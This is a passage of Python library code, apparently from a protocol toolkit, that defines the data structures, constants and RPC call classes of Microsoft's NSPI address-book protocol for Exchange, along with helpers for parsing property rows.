EMPTY_UUID\n\nMSRPC_UUID_NSPI = uuidtup_to_bin(('F5CC5A18-4264-101A-8C59-08002B2F8426', '56.0'))\n\nclass DCERPCSessionError(DCERPCException):\n    def __str__( self ):\n        key = self.error_code\n        if key in mapi_constants.ERROR_MESSAGES:\n            error_msg_short = mapi_constants.ERROR_MESSAGES[key]\n            return 'NSPI SessionError: code: 0x%x - %s' % (self.error_code, error_msg_short)\n        elif key in hresult_errors.ERROR_MESSAGES:\n            error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]\n            error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]\n            return 'NSPI SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'NSPI SessionError: unknown error code: 0x%x' % self.error_code\n\n################################################################################\n# STRUCTURES\n################################################################################\nclass handle_t(NDRSTRUCT):\n    structure = (\n         ('context_handle_attributes',ULONG),\n         ('context_handle_uuid',UUID),\n    )\n\n    def __init__(self, data=None, isNDR64=False):\n        NDRSTRUCT.__init__(self, data, isNDR64)\n        self['context_handle_uuid'] = b'\\x00'*16\n\n    def isNull(self):\n        return self['context_handle_uuid'] == b'\\x00'*16\n\n# 2.2.1 Permitted Property Type Values\nPtypEmbeddedTable = 0x0000000D\nPtypNull          = 0x00000001\nPtypUnspecified   = 0x00000000\n\n# 2.2.3 Display Type Values\nDT_MAILUSER         = 0x00000000\nDT_DISTLIST         = 0x00000001\nDT_FORUM            = 0x00000002\nDT_AGENT            = 0x00000003\nDT_ORGANIZATION     = 0x00000004\nDT_PRIVATE_DISTLIST = 0x00000005\nDT_REMOTE_MAILUSER  = 0x00000006\nDT_CONTAINER        = 0x00000100\nDT_TEMPLATE         = 0x00000101\nDT_ADDRESS_TEMPLATE = 0x00000102\nDT_SEARCH           = 0x00000200\n\n# 2.2.4 Default Language Code Identifier\nNSPI_DEFAULT_LOCALE = 0x00000409\n\n# 2.2.5 Required Codepages\nCP_TELETEX    = 0x00004F25\nCP_WINUNICODE = 0x000004B0\n\n# 2.2.6.1 Comparison Flags\nNORM_IGNORECASE     = 1 << 0\nNORM_IGNORENONSPACE = 1 << 1\nNORM_IGNORESYMBOLS  = 1 << 2\nSORT_STRINGSORT     = 1 << 12\nNORM_IGNOREKANATYPE = 1 << 16\nNORM_IGNOREWIDTH    = 1 << 17\n\n# 2.2.7 Permanent Entry ID GUID\nGUID_NSPI = string_to_bin(\"C840A7DC-42C0-1A10-B4B9-08002B2FE182\")\n\n# 2.2.8 Positioning Minimal Entry IDs\nMID_BEGINNING_OF_TABLE = 0x00000000\nMID_END_OF_TABLE       = 0x00000002\nMID_CURRENT            = 0x00000001\n\n# 2.2.9 Ambiguous Name Resolution Minimal Entry IDs\nMID_UNRESOLVED = 0x00000000\nMID_AMBIGUOUS  = 0x00000001\nMID_RESOLVED   = 0x00000002\n\n# 2.2.10 Table Sort Orders\nSortTypeDisplayName         = 0\nSortTypePhoneticDisplayName = 0x00000003\nSortTypeDisplayName_RO      = 0x000003E8\nSortTypeDisplayName_W       = 0x000003E9\n\n# 2.2.11 NspiBind Flags\nfAnonymousLogin = 0x00000020\n\n# 2.2.12 Retrieve Property Flags\nfSkipObjects = 0x00000001\nfEphID       = 0x00000002\n\n# 2.2.13 NspiGetSpecialTable Flags\nNspiAddressCreationTemplates = 0x00000002\nNspiUnicodeStrings           = 0x00000004\n\n# 2.2.14 NspiQueryColumns Flags\nNspiUnicodeProptypes = 0x80000000\n\n# 2.2.15 NspiGetIDsFromNames Flags\nNspiVerifyNames = 0x00000002\n\n# 2.2.16 NspiGetTemplateInfo Flags\nTI_TEMPLATE          = 0x00000001\nTI_SCRIPT            = 0x00000004\nTI_EMT               = 0x00000010\nTI_HELPFILE_NAME     = 0x00000020\nTI_HELPFILE_CONTENTS = 0x00000040\n\n# 2.2.17 NspiModLinkAtt Flags\nfDelete = 0x00000001\n\n# 2.3.1.1 FlatUID_r\nFlatUID_r = UUID\nPFlatUID_r = PUUID\n\n# 2.3.1.2 PropertyTagArray_r\nclass PropertyTagArray(NDRUniConformantVaryingArray):\n    item = DWORD\n\nclass PropertyTagArray_r(NDRSTRUCT):\n    structure = (\n         ('cValues', ULONG),\n         ('aulPropTag', PropertyTagArray)\n    )\n\nclass PPropertyTagArray_r(NDRPOINTER):\n    referent = (\n         ('Data', PropertyTagArray_r),\n    )\n\n# 2.3.1.3 Binary_r\nclass Binary(NDRUniConformantArray):\n    item = 'c'\n\nclass PBinary(NDRPOINTER):\n    referent = (\n         ('Data', Binary),\n    )\n\nclass Binary_r(NDRSTRUCT):\n    structure = (\n         ('cValues', DWORD),\n         ('lpb', PBinary),\n    )\n\n# 2.3.1.4 ShortArray_r\nclass ShortArray(NDRUniConformantArray):\n    item = SHORT\n\nclass PShortArray(NDRPOINTER):\n    referent = (\n         ('Data', ShortArray),\n    )\n\nclass ShortArray_r(NDRSTRUCT):\n    structure = (\n         ('cValues', DWORD),\n         ('lpi', PShortArray),\n    )\n\n# 2.3.1.5 LongArray_r\nclass LongArray(NDRUniConformantArray):\n    item = LONG\n\nclass PLongArray(NDRPOINTER):\n    referent = (\n         ('Data', LongArray),\n    )\n\nclass LongArray_r(NDRSTRUCT):\n    structure = (\n         ('cValues', DWORD),\n         ('lpl', PLongArray)\n    )\n\n# 2.3.1.6 StringArray_r\nclass StringArray(NDRUniConformantArray):\n    item = LPSTR\n\nclass PStringArray(NDRPOINTER):\n    referent = (\n         ('Data', StringArray),\n    )\n\nclass StringArray_r(NDRSTRUCT):\n    structure = (\n         ('cValues', DWORD),\n         ('lppszA', PStringArray)\n    )\n\n# 2.3.1.7 BinaryArray_r\nclass BinaryArray(NDRUniConformantArray):\n    item = Binary_r\n\nclass PBinaryArray(NDRPOINTER):\n    referent = (\n         ('Data', BinaryArray),\n    )\n\nclass BinaryArray_r(NDRSTRUCT):\n    structure = (\n         ('cValues', DWORD),\n         ('lpbin', PBinaryArray)\n    )\n\n# 2.3.1.8 FlatUIDArray_r\nclass FlatUIDArray(NDRUniConformantArray):\n    item = PFlatUID_r\n\nclass PFlatUIDArray(NDRPOINTER):\n    referent = (\n         ('Data', FlatUIDArray),\n    )\n\nclass FlatUIDArray_r(NDRSTRUCT):\n    structure = (\n         ('cValues', DWORD),\n         ('lpguid', PFlatUIDArray)\n    )\n\n# 2.3.1.9 WStringArray_r\nclass WStringArray(NDRUniConformantArray):\n    item = LPWSTR\n\nclass PWStringArray(NDRPOINTER):\n    referent = (\n         ('Data', WStringArray),\n    )\n\nclass WStringArray_r(NDRSTRUCT):\n    structure = (\n         ('cValues', DWORD),\n         ('lppszW', PWStringArray)\n    )\n\n# 2.3.1.10 DateTimeArray_r\nclass DateTimeArray(NDRUniConformantArray):\n    item = PFILETIME\n\nclass PDateTimeArray(NDRPOINTER):\n    referent = (\n         ('Data', DateTimeArray),\n    )\n\nclass DateTimeArray_r(NDRSTRUCT):\n    structure = (\n         ('cValues', DWORD),\n         ('lpft', PDateTimeArray)\n    )\n\n# 2.3.1.11 PROP_VAL_UNION\nclass PROP_VAL_UNION(NDRUNION):\n    commonHdr = (\n         ('tag', DWORD),\n    )\n\n    union = {\n        0x0002: ('i', SHORT),               # PtypInteger16\n        0x0003: ('l', LONG),                # PtypInteger32\n        0x000B: ('b', USHORT),              # PtypBoolean\n        0x001E: ('lpszA', LPSTR),           # PtypString8\n        0x0102: ('bin', Binary_r),          # PtypBinary\n        0x001F: ('lpszW', LPWSTR),          # PtypString\n        0x0048: ('lpguid', PFlatUID_r),     # PtypGuid\n        0x0040: ('ft', FILETIME),           # PtypTime\n        0x000A: ('err', ULONG),             # PtypErrorCode\n        0x1002: ('MVi', ShortArray_r),      # PtypMultipleInteger16\n        0x1003: ('MVl', LongArray_r),       # PtypMultipleInteger32\n        0x101E: ('MVszA', StringArray_r),   # PtypMultipleString8\n        0x1102: ('MVbin', BinaryArray_r),   # PtypMultipleBinary\n        0x1048: ('MVguid', FlatUIDArray_r), # PtypMultipleGuid\n        0x101F: ('MVszW', WStringArray_r),  # PtypMultipleString\n        0x1040: ('MVft', DateTimeArray_r),  # PtypMultipleTime\n        0x0001: ('lReserved', LONG),        # PtypNull\n        0x000D: ('lReserved', LONG),        # PtypEmbeddedTable\n        0x0000: ('lReserved', LONG),        # PtypUnspecified\n    }\n\n# 2.3.1.12 PropertyValue_r\nclass PropertyValue_r(NDRSTRUCT):\n    structure = (\n         ('ulPropTag', DWORD),\n         ('ulReserved', DWORD), # dwAlignPad\n         ('Value', PROP_VAL_UNION),\n    )\n\nclass PPropertyValue_r(NDRPOINTER):\n    referent = (\n         ('Data', PropertyValue_r),\n    )\n\n# 2.3.2 PropertyRow_r\nclass PropertyValue(NDRUniConformantArray):\n    item = PropertyValue_r\n\nclass PPropertyValue(NDRPOINTER):\n    referent = (\n         ('Data', PropertyValue),\n    )\n\nclass PropertyRow_r(NDRSTRUCT):\n    structure = (\n         ('Reserved', DWORD), # ulAdrEntryPad\n         ('cValues', DWORD),\n         ('lpProps', PPropertyValue)\n    )\n\nclass PPropertyRow_r(NDRPOINTER):\n    referent = (\n         ('Data', PropertyRow_r),\n    )\n\n# 2.3.3 PropertyRowSet_r\nclass PropertyRowSet(NDRUniConformantArray): \n    item = PropertyRow_r\n\nclass PropertyRowSet_r(NDRSTRUCT):\n    structure = (\n         ('cRows', DWORD),\n         ('aRow', PropertyRowSet),\n    )\n\nclass PPropertyRowSet_r(NDRPOINTER):\n    referent = (\n         ('Data', PropertyRowSet_r),\n    )\n\n# 2.3.4 Restrictions\nclass Restriction_r(NDRSTRUCT):\n    pass\n\nclass PRestriction_r(NDRPOINTER):\n    referent = (\n         ('Data', Restriction_r),\n    )\n\n# 2.3.4.1 AndRestriction_r, OrRestriction_r\nclass AndRestriction(NDRUniConformantArray): \n    item = Restriction_r\n\nclass PAndRestriction(NDRPOINTER):\n    referent = (\n         ('Data', AndRestriction),\n    )\n\nclass AndRestriction_r(NDRSTRUCT):\n    structure = (\n         ('cRes', DWORD),\n         ('lpRes', PAndRestriction),\n    )\n\nOrRestriction_r = AndRestriction_r\n\n# 2.3.4.2 NotRestriction_r\nclass NotRestriction_r(NDRSTRUCT):\n    structure = (\n         ('lpRes', PRestriction_r),\n    )\n\n# 2.3.4.3 ContentRestriction_r\nclass ContentRestriction_r(NDRSTRUCT):\n    structure = (\n         ('ulFuzzyLevel', DWORD),\n         ('ulPropTag', DWORD),\n         ('lpProp', PPropertyValue_r),\n    )\n\n# 2.3.4.4 BitMaskRestriction_r\nclass BitMaskRestriction_r(NDRSTRUCT):\n    structure = (\n         ('relBMR', DWORD),\n         ('ulPropTag', DWORD),\n         ('ulMask', DWORD),\n    )\n\n# 2.3.4.5 PropertyRestriction_r\nclass PropertyRestriction_r(NDRSTRUCT):\n    structure = (\n         ('relop', DWORD),\n         ('ulPropTag', DWORD),\n         ('lpProp', PPropertyValue_r),\n    )\n\n# 2.3.4.6 ComparePropsRestriction_r\nclass ComparePropsRestriction_r(NDRSTRUCT):\n    structure = (\n         ('relop', DWORD),\n         ('ulPropTag1', DWORD),\n         ('ulPropTag2', DWORD),\n    )\n\n# 2.3.4.7 SubRestriction_r\nclass SubRestriction_r(NDRSTRUCT):\n    structure = (\n         ('ulSubObject', DWORD),\n         ('lpRes', PRestriction_r),\n    )\n\n# 2.3.4.8 SizeRestriction_r\nclass SizeRestriction_r(NDRSTRUCT):\n    structure = (\n         ('relop', DWORD),\n         ('ulPropTag', DWORD),\n         ('cb', DWORD),\n    )\n\n# 2.3.4.9 ExistRestriction_r\nclass ExistRestriction_r(NDRSTRUCT):\n    structure = (\n         ('ulReserved1', DWORD),\n         ('ulPropTag', DWORD),\n         ('ulReserved2', DWORD),\n    )\n\n# 2.3.4.10 RestrictionUnion_r\nclass RestrictionUnion_r(NDRUNION):\n    commonHdr = (\n         ('tag', DWORD),\n    )\n\n    union = {\n        0x00000000: ('resAnd', AndRestriction_r),\n        0x00000001: ('resOr', OrRestriction_r),\n        0x00000002: ('resNot', NotRestriction_r),\n        0x00000003: ('resContent', ContentRestriction_r),\n        0x00000004: ('resProperty', PropertyRestriction_r),\n        0x00000005: ('resCompareProps', ComparePropsRestriction_r),\n        0x00000006: ('resBitMask', BitMaskRestriction_r),\n        0x00000007: ('resSize', SizeRestriction_r),\n        0x00000008: ('resExist', ExistRestriction_r),\n        0x00000009: ('resSubRestriction', SubRestriction_r),\n    }\n\n# 2.3.4.11 Restriction_r\nRestriction_r.structure = (\n    ('rt', DWORD),\n    ('res', RestrictionUnion_r),\n)\n\n# 2.3.5.1 PropertyName_r\nclass PropertyName_r(NDRSTRUCT):\n    structure = (\n         ('lpguid', PFlatUID_r),\n         ('ulReserved', DWORD),\n         ('lID', LONG),\n    )\n\nclass PPropertyName_r(NDRPOINTER):\n    referent = (\n         ('Data', PropertyName_r),\n    )\n\n# 2.3.5.2 PropertyNameSet_r\nclass PropertyNameSet(NDRUniConformantArray):\n    item = PropertyName_r\n\nclass PropertyNameSet_r(NDRSTRUCT):\n    structure = (\n         ('cNames', DWORD),\n         ('aulPropTag', PropertyNameSet)\n    )\n\nclass PPropertyNameSet_r(NDRPOINTER):\n    referent = (\n         ('Data', PropertyNameSet_r),\n    )\n\n# 2.3.6.1 StringsArray_r\nclass StringsArray(NDRUniConformantArray):\n    item = LPSTR\n\nclass StringsArray_r(NDRSTRUCT):\n    structure = (\n         ('Count', DWORD),\n         ('Strings', StringsArray)\n    )\n\n# 2.3.6.1 StringsArray_r\nclass WStringsArray(NDRUniConformantArray):\n    item = LPWSTR\n\nclass WStringsArray_r(NDRSTRUCT):\n    structure = (\n         ('Count', DWORD),\n         ('Strings', WStringsArray)\n    )\n\n# 2.3.7 STAT\nclass STAT(NDRSTRUCT):\n    structure = (\n         ('SortType', DWORD),\n         ('ContainerID', DWORD),\n         ('CurrentRec', DWORD),\n         ('Delta', LONG),\n         ('NumPos', DWORD),\n         ('TotalRecs', DWORD),\n         ('CodePage', DWORD),\n         ('TemplateLocale', DWORD),\n         ('SortLocale', DWORD),\n    )\n\nclass PSTAT(NDRPOINTER):\n    referent = (\n         ('Data', STAT),\n    )\n\n# 2.3.8.1 MinimalEntryID\nMinEntryID = '<L=0'\n\n# 2.3.8.2 EphemeralEntryID\nclass EphemeralEntryID(Structure):\n    structure = (\n         ('IDType','<B=0x87'),\n         ('R1','<B=0'),\n         ('R2','<B=0'),\n         ('R3','<B=0'),\n         ('ProviderUID','16s=b\"\\\\x00\"*16'),\n         ('R4','<L=0x0000001'),\n         ('DisplayType','<L'),\n         ('MId',MinEntryID),\n    )\n\n# 2.3.8.3 PermanentEntryID\nclass PermanentEntryID(Structure):\n    default_guid = GUID_NSPI\n    structure = (\n         ('IDType','<B=0'),\n         ('R1','<B=0'),\n         ('R2','<B=0'),\n         ('R3','<B=0'),\n         ('ProviderUID','16s=self[\"default_guid\"]'),\n         ('R4','<L=0x0000001'),\n         ('DisplayType','<L'),\n         ('DistinguishedName','z'),\n    )\n\n    def __str__(self):\n        return self[\"DistinguishedName\"]\n\n################################################################################\n# RPC CALLS\n################################################################################\n\n# 3.1.4.1 RfrGetNewDSA (opnum 0)\nclass NspiBind(NDRCALL):\n    opnum = 0\n    structure = (\n        ('dwFlags', DWORD),\n        ('pStat', STAT),\n        ('pServerGuid', PFlatUID_r),\n    )\n\nclass NspiBindResponse(NDRCALL):\n    structure = (\n        ('pServerGuid', PFlatUID_r),\n        ('contextHandle', handle_t),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.1.4.2 NspiUnbind (Opnum 1)\nclass NspiUnbind(NDRCALL):\n    opnum = 1\n    structure = (\n        ('contextHandle', handle_t),\n        ('Reserved', DWORD), # flags\n    )\n\nclass NspiUnbindResponse(NDRCALL):\n    structure = (\n        ('contextHandle', handle_t),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.1.4.4 NspiUpdateStat (Opnum 2)\nclass NspiUpdateStat(NDRCALL):\n    opnum = 2\n    structure = (\n        ('hRpc', handle_t),\n        ('Reserved', DWORD), # flags\n        ('pStat', STAT),\n        ('plDelta', LPLONG),\n    )\n\nclass NspiUpdateStatResponse(NDRCALL):\n    structure = (\n        ('pStat', STAT),\n        ('plDelta', LPLONG),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.1.4.8 NspiQueryRows (Opnum 3)\nclass DWORD_ARRAY(NDRUniConformantArray):\n    item = DWORD\n\nclass PDWORD_ARRAY(NDRPOINTER):\n    referent = (\n         ('Data', DWORD_ARRAY),\n    )\n\nclass NspiQueryRows(NDRCALL):\n    opnum = 3\n    structure = (\n        ('hRpc', handle_t),\n        ('dwFlags', DWORD),\n        ('pStat', STAT),\n        ('dwETableCount', DWORD),\n        ('lpETable', PDWORD_ARRAY),\n        ('Count', DWORD),\n        ('pPropTags', PPropertyTagArray_r),\n    )\n\nclass NspiQueryRowsResponse(NDRCALL):\n    structure = (\n        ('pStat', STAT),\n        ('ppRows', PPropertyRowSet_r),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.1.4.9 NspiSeekEntries (Opnum 4)\nclass NspiSeekEntries(NDRCALL):\n    opnum = 4\n    structure = (\n        ('hRpc', handle_t),\n        ('Reserved', DWORD), # flags\n        ('pStat', STAT),\n        ('pTarget', PropertyValue_r),\n        ('lpETable', PropertyTagArray_r),\n        ('pPropTags', PropertyTagArray_r),\n    )\n\nclass NspiSeekEntriesResponse(NDRCALL):\n    structure = (\n        ('pStat', STAT),\n        ('ppRows', PPropertyRowSet_r),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.1.4.10 NspiGetMatches (Opnum 5)\n#class NspiGetMatches(NDRCALL):\n#    opnum = 5\n#    structure = (\n#        ('hRpc', handle_t),\n#        ('Reserved1', DWORD), # flags\n#        ('pStat', STAT),\n#        ('pReserved', PropertyTagArray_r), # mids\n#        ('Reserved2', DWORD), # interfaceOptions\n#        ('Filter', Restriction_r),\n#        ('lpPropName', PropertyName_r),\n#        ('ulRequested', DWORD),\n#        ('pPropTags', PropertyTagArray_r),\n#    )\n\n#class NspiGetMatchesResponse(NDRCALL):\n#    structure = (\n#        ('pStat', PSTAT),\n#        ('ppOutMIds', PPropertyTagArray_r),\n#        ('ppRows', PPropertyRowSet_r),\n#        ('ErrorCode', ULONG),\n#    )\n\n# 3.1.4.11 NspiResortRestriction (Opnum 6)\n#class NspiResortRestriction(NDRCALL):\n#    opnum = 6\n#    structure = (\n#        ('hRpc', handle_t),\n#        ('Reserved', DWORD),\n#        ('pStat', STAT),\n#        ('pInMIds', PropertyTagArray_r),\n#        ('ppOutMIds', PPropertyTagArray_r),\n#    )\n\n#class NspiResortRestrictionResponse(NDRCALL):\n#    structure = (\n#        ('pStat', PSTAT),\n#        ('ppOutMIds', PPropertyTagArray_r),\n#        ('ErrorCode', ULONG),\n#    )\n\n# 3.1.4.13 NspiDNToMId (Opnum 7)\nclass NspiDNToMId(NDRCALL):\n    opnum = 7\n    structure = (\n        ('hRpc', handle_t),\n        ('Reserved', DWORD), # flags\n        ('pNames', StringsArray_r),\n    )\n\nclass NspiDNToMIdResponse(NDRCALL):\n    structure = (\n        ('ppOutMIds', PPropertyTagArray_r),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.1.4.6 NspiGetPropList (Opnum 8)\nclass NspiGetPropList(NDRCALL):\n    opnum = 8\n    structure = (\n        ('hRpc', handle_t),\n        ('dwFlags', DWORD),\n        ('dwMId', DWORD),\n        ('CodePage', DWORD),\n    )\n\nclass NspiGetPropListResponse(NDRCALL):\n    structure = (\n        ('ppOutMIds', PPropertyTagArray_r),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.1.4.7 NspiGetProps (Opnum 9)\nclass NspiGetProps(NDRCALL):\n    opnum = 9\n    structure = (\n        ('hRpc', handle_t),\n        ('dwFlags', DWORD),\n        ('pStat', PSTAT),\n        ('pPropTags', PPropertyTagArray_r),\n    )\n\nclass NspiGetPropsResponse(NDRCALL):\n    structure = (\n        ('ppRows', PPropertyRow_r),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.1.4.12 NspiCompareMIds (Opnum 10)\nclass NspiCompareMIds(NDRCALL):\n    opnum = 10\n    structure = (\n        ('hRpc', handle_t),\n        ('Reserved', DWORD), # flags\n        ('pStat', STAT),\n        ('MId1', DWORD),\n        ('MId2', DWORD),\n    )\n\nclass NspiCompareMIdsResponse(NDRCALL):\n    structure = (\n        ('plResult', LONG),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.1.4.14 NspiModProps (Opnum 11)\n#class NspiModProps(NDRCALL):\n#    opnum = 11\n#    structure = (\n#        ('hRpc', handle_t),\n#        ('Reserved', DWORD), # flags\n#        ('pStat', STAT),\n#        ('pPropTags', PropertyTagArray_r),\n#        ('pRow', PropertyRow_r),\n#    )\n\n#class NspiModPropsResponse(NDRCALL):\n#    structure = (\n#        ('plResult', LPLONG),\n#        ('ErrorCode', ULONG),\n#    )\n\n# 3.1.4.3 NspiGetSpecialTable (Opnum 12)\nclass NspiGetSpecialTable(NDRCALL):\n    opnum = 12\n    structure = (\n        ('hRpc', handle_t),\n        ('dwFlags', DWORD),\n        ('pStat', PSTAT),\n        ('lpVersion', LPDWORD),\n    )\n\nclass NspiGetSpecialTableResponse(NDRCALL):\n    structure = (\n        # In Exchange 2013 / 2016 / 2019 lpVersion is \n        # a RuntimeHelpers.GetHashCode value, and it will be\n        # different each call\n        ('lpVersion', DWORD), \n        ('ppRows', PPropertyRowSet_r),\n        ('ErrorCode', DWORD),\n    )\n\n# 3.1.4.20 NspiGetTemplateInfo (Opnum 13)\nclass NspiGetTemplateInfo(NDRCALL):\n    opnum = 13\n    structure = (\n        ('hRpc', handle_t),\n        ('dwFlags', DWORD),\n        ('ulType', DWORD),\n        ('pDN', LPSTR),\n        ('dwCodePage', DWORD),\n        ('dwLocaleID', DWORD),\n    )\n\nclass NspiGetTemplateInfoResponse(NDRCALL):\n    structure = (\n        ('ppData', PPropertyRow_r),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.1.4.15 NspiModLinkAtt (Opnum 14)\nclass NspiModLinkAtt(NDRCALL):\n    opnum = 14\n    structure = (\n        ('hRpc', handle_t),\n        ('dwFlags', DWORD),\n        ('ulPropTag', DWORD),\n        ('dwMId', DWORD),\n        ('lpEntryIds', BinaryArray_r),\n    )\n\nclass NspiModLinkAttResponse(NDRCALL):\n    structure = (\n        ('ErrorCode', ULONG),\n    )\n\n# Undocumented opnum 15\n#class NspiDeleteEntries(NDRCALL):\n#    opnum = 15\n#    structure = (\n#        ('hRpc', handle_t),\n#        ('dwFlags', DWORD),\n#        ('dwMId', DWORD),\n#        ('entryIds', BinaryArray_r),\n#    )\n\n#class NspiDeleteEntriesResponse(NDRCALL):\n#    structure = (\n#        ('ErrorCode', ULONG),\n#    )\n\n# 3.1.4.5 NspiQueryColumns (Opnum 16)\nclass NspiQueryColumns(NDRCALL):\n    opnum = 16\n    structure = (\n        ('hRpc', handle_t),\n        ('Reserved', DWORD), # flags\n        ('dwFlags', DWORD),  # mapiFlags\n    )\n\nclass NspiQueryColumnsResponse(NDRCALL):\n    structure = (\n        ('ppColumns', PPropertyTagArray_r),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.1.4.16 NspiGetNamesFromIDs (Opnum 17)\nclass NspiGetNamesFromIDs(NDRCALL):\n    opnum = 17\n    structure = (\n        ('hRpc', handle_t),\n        ('Reserved', DWORD), # flags\n        ('lpguid', PFlatUID_r),\n        ('pPropTags', PPropertyTagArray_r),\n    )\n\nclass NspiGetNamesFromIDsResponse(NDRCALL):\n    structure = (\n        ('ppReturnedPropTags', PPropertyTagArray_r),\n        ('ppNames', PPropertyNameSet_r),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.1.4.17 NspiGetIDsFromNames (Opnum 18)\nclass PropertyName_r_ARRAY(NDRUniConformantVaryingArray):\n    item = PropertyName_r\n\nclass NspiGetIDsFromNames(NDRCALL):\n    opnum = 18\n    structure = (\n        ('hRpc', handle_t),\n        ('Reserved', DWORD), # flags\n        ('dwFlags', DWORD),  # mapiFlags\n        ('cPropNames', DWORD),\n        ('pNames', PropertyName_r_ARRAY),\n    )\n\nclass NspiGetIDsFromNamesResponse(NDRCALL):\n    structure = (\n        ('ppPropTags', PPropertyTagArray_r),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.1.4.18 NspiResolveNames (Opnum 19)\nclass NspiResolveNames(NDRCALL):\n    opnum = 19\n    structure = (\n        ('hRpc', handle_t),\n        ('Reserved', DWORD), # flags\n        ('pStat', STAT),\n        ('pPropTags', PPropertyTagArray_r),\n        ('paStr', StringsArray_r),\n    )\n\nclass NspiResolveNamesResponse(NDRCALL):\n    structure = (\n        ('ppMIds', PPropertyTagArray_r),\n        ('ppRows', PPropertyRowSet_r),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.1.4.19 NspiResolveNamesW (Opnum 20)\nclass NspiResolveNamesW(NDRCALL):\n    opnum = 20\n    structure = (\n        ('hRpc', handle_t),\n        ('Reserved', DWORD), # flags\n        ('pStat', STAT),\n        ('pPropTags', PPropertyTagArray_r),\n        ('paStr', WStringsArray_r),\n    )\n\nclass NspiResolveNamesWResponse(NDRCALL):\n    structure = (\n        ('ppMIds', PPropertyTagArray_r),\n        ('ppRows', PPropertyRowSet_r),\n        ('ErrorCode', ULONG),\n    )\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\nOPNUMS = {\n    0  : (NspiBind, NspiBindResponse),\n    1  : (NspiUnbind, NspiUnbindResponse),\n    2  : (NspiUpdateStat, NspiUpdateStatResponse),\n    3  : (NspiQueryRows, NspiQueryRowsResponse),\n    4  : (NspiSeekEntries, NspiSeekEntriesResponse),\n#    5  : (NspiGetMatches, NspiGetMatchesResponse),\n#    6  : (NspiResortRestriction, NspiResortRestrictionResponse),\n    7  : (NspiDNToMId, NspiDNToMIdResponse),\n    8  : (NspiGetPropList, NspiGetPropListResponse),\n    9  : (NspiGetProps, NspiGetPropsResponse),\n    10 : (NspiCompareMIds, NspiCompareMIdsResponse),\n#    11 : (NspiModProps, NspiModPropsResponse),\n    12 : (NspiGetSpecialTable, NspiGetSpecialTableResponse),\n    13 : (NspiGetTemplateInfo, NspiGetTemplateInfoResponse),\n    14 : (NspiModLinkAtt, NspiModLinkAttResponse),\n#    15 : (NspiDeleteEntries, NspiDeleteEntriesResponse),\n    16 : (NspiQueryColumns, NspiQueryColumnsResponse),\n    17 : (NspiGetNamesFromIDs, NspiGetNamesFromIDsResponse),\n    18 : (NspiGetIDsFromNames, NspiGetIDsFromNamesResponse),\n    19 : (NspiResolveNames, NspiResolveNamesResponse),\n    20 : (NspiResolveNamesW, NspiResolveNamesWResponse),\n}\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\ndef checkNullString(string):\n    if string == NULL:\n        return string\n\n    if string[-1:] != '\\x00':\n        return string + '\\x00'\n    else:\n        return string\n\ndef get_guid_from_dn(legacyDN):\n    legacyDN = str(legacyDN)\n    guid = legacyDN[legacyDN.rfind(\"=\")+1:]\n\n    return uuid.string_to_bin(guid)\n\ndef get_dn_from_guid(guid, minimize=False):\n    if minimize:\n        # MS-OXNSPI\n        dn_template = \"/guid=\"\n    else:\n        # MS-NSPI and MS-OXNSPI\n        dn_template = \"/o=NT5/ou=00000000000000000000000000000000/cn=\"\n\n    guid_bin = string_to_bin(guid)\n\n    if PY2:\n        return \"%s%s\" % (dn_template, binascii.hexlify(guid_bin))\n    else:\n        return \"%s%s\" % (dn_template, str(binascii.hexlify(guid_bin), 'ascii'))\n\nclass EXCH_SID(LDAP_SID):\n    def __str__(self):\n        return self.formatCanonical()\n\nclass ExchBinaryObject(bytes):\n    pass\n\ndef getUnixTime(t):\n    t -= 116444736000000000\n    t //= 10000000\n    return t\n\ndef simplifyPropertyRow(rowSetElem):\n    row = {}\n\n    for prop in rowSetElem['lpProps']:\n        prop_name_in_union = prop['Value'].structure[0][0]\n        prop_value = prop['Value'].fields[prop_name_in_union]\n\n        PropTag = prop['ulPropTag']\n\n        if isinstance(prop_value, SHORT) or \\\n           isinstance(prop_value, USHORT) or \\\n           isinstance(prop_value, LONG) or \\\n           isinstance(prop_value, ULONG):\n            row[PropTag] = int(prop_value['Data'])\n        elif isinstance(prop_value, LPWSTR):\n            if PropTag in [0x8c38001f]:\n                # What is this field for?\n                row[PropTag] = ExchBinaryObject(prop_value['Data'].encode(\"utf-16le\")[:-2])\n            else:\n                row[PropTag] = prop_value['Data'][:-1]\n        elif isinstance(prop_value, LPSTR):\n            row[PropTag] = prop_value['Data'][:-1]\n        elif isinstance(prop_value, Binary_r):\n            value = b''.join(prop_value['lpb'])\n\n            if PropTag in [0x80270102, 0x8c750102]:\n                value = EXCH_SID(value)\n            elif PropTag == 0x300b0102:\n                value = value[:-1].decode(\"utf-8\")\n            elif value[4:20] == GUID_NSPI and value[20:24] == b'\\x01\\x00\\x00\\x00' and value[:4] == b'\\x00\\x00\\x00\\x00':\n                value = PermanentEntryID(value)\n            elif value[:4] == b'\\x87\\x00\\x00\\x00' and value[20:24] == b'\\x01\\x00\\x00\\x00' and len(value) == 32:\n                value = EphemeralEntryID(value)\n            elif PropTag in [0x8c6d0102, 0x68c40102, 0x8c730102, 0x0ff80102]:\n                value = uuid.bin_to_string(value).lower()\n            elif PropTag == 0x0ff60102:\n                value = unpack('<l', value)[0]\n            else:\n                value = ExchBinaryObject(value)\n\n            row[PropTag] = value\n        elif isinstance(prop_value, BinaryArray_r):\n            array = []\n            for value in prop_value['lpbin']:\n                array.append(b''.join(value['lpb']))\n            row[PropTag] = array\n        elif isinstance(prop_value, StringArray_r):\n            array = []\n            for value in prop_value['lppszA']:\n                